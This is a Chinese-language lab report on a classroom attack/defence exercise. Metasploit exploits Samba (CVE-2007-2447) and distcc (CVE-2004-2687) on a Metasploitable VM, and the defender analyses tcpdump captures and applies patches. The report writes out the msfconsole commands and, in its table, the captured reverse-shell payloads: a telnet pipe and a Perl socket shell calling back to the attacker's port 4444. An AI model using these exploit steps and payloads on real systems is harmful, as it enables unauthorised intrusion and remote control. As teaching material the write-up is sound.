在Metasploit渗透攻击框架软件中寻找一个针对Linux系统服务的渗透攻击模块,在网络安全攻防实验环境中部署有漏洞的环境(如渗透利用第三方网络服务,须要找到并安装存在特定漏洞的版本),并使用metasploit进行攻击。html
攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机实施网络攻击,防护方则在Metasploitatble上使用Tcpdump或Wireshark或Snort工具捕获攻击流,并分析出攻击者利用了哪一个安全漏洞进行攻击,从官方网站上下载该安全漏洞补丁进行系统修补,双方合做给出攻防过程报告。linux
以下图,三台虚拟机使用Bridge方式联网,攻击机IP地址192.168.200.10,扫描机IP地址192.168.200.2;防守机IP地址192.168.200.11。shell
攻守双方首先将虚拟机启动起来,配置好网络环境并测试网络通畅后,攻守双发分别进行接下来的操做。ubuntu
为了确认防守方系统漏洞,攻方在扫描机上使用X-Scan3.3对防守机进行了一次全面漏洞扫描。安全
从上面的漏洞扫描能够看出,防守机的漏洞不少,咱们可使用SMB漏洞、distcc漏洞等进行攻击。由于SMB是Samba软件的服务,而Samba服 务是运行在root权限下,因此一旦攻击成功,将得到权限为root的shell。咱们本次实验主要使用SMB漏洞进行攻击,并尝试使用distcc漏洞。网络
use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit框架
back
use exploit/unix/misc/distcc_exec
set payload cmd/unix/reverse_perl
set rhost 192.168.200.11
set lhost 192.168.200.10
exploittcp
以下图,攻击成功后出现一个可使用的shell,可是没有root权限。工具
但继续输入命令时却没有反应,后证明是被防守方人为中断了。
为了使用更高权限的命令,咱们须要root权限的shell。所以再次使用SMB漏洞进行攻击。在命令行下输入以下命令,测试
back
use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit
sudo tcpdump –s 00 –w result.cap &
ps –e | more
所以能够判定,攻击机正在进行扫描,而真正的攻击应该在最后。从后向前查看报文内容发现,倒数第二条报文是一个TCP数据包,其中报文的内容是正是reboot!能够判定正是这条命令致使了系统重启。
通过对报文仔细的分析,能够肯定的攻击有三次,分别以下图所示,其中攻击的漏洞和携带的攻击脚本分别为,
漏洞名称 | 相关网址 | 攻击脚本 | 执行的命令 |
---|---|---|---|
SMB漏洞 CVE-2007-2447 | http://www.samba.org/samba/security/CVE-2007-2447.html | nohup sh -c ‘(sleep 4495 | telnet 192.168.200.10 4444 |
Distcc漏洞 CVE-2004-2687 | http://cve.mitre.org/cgi-bin/cvename.cgi?name=2004-2687 | perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.200.10:4444”);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’ | idusers |
同第一个 | 同第一个 | 同第一个 | idreboot |
sudo apt-get update
sudo apt-get install samba
sudo /etc/init.d/samba stop
sudo /etc/init.d/distcc stop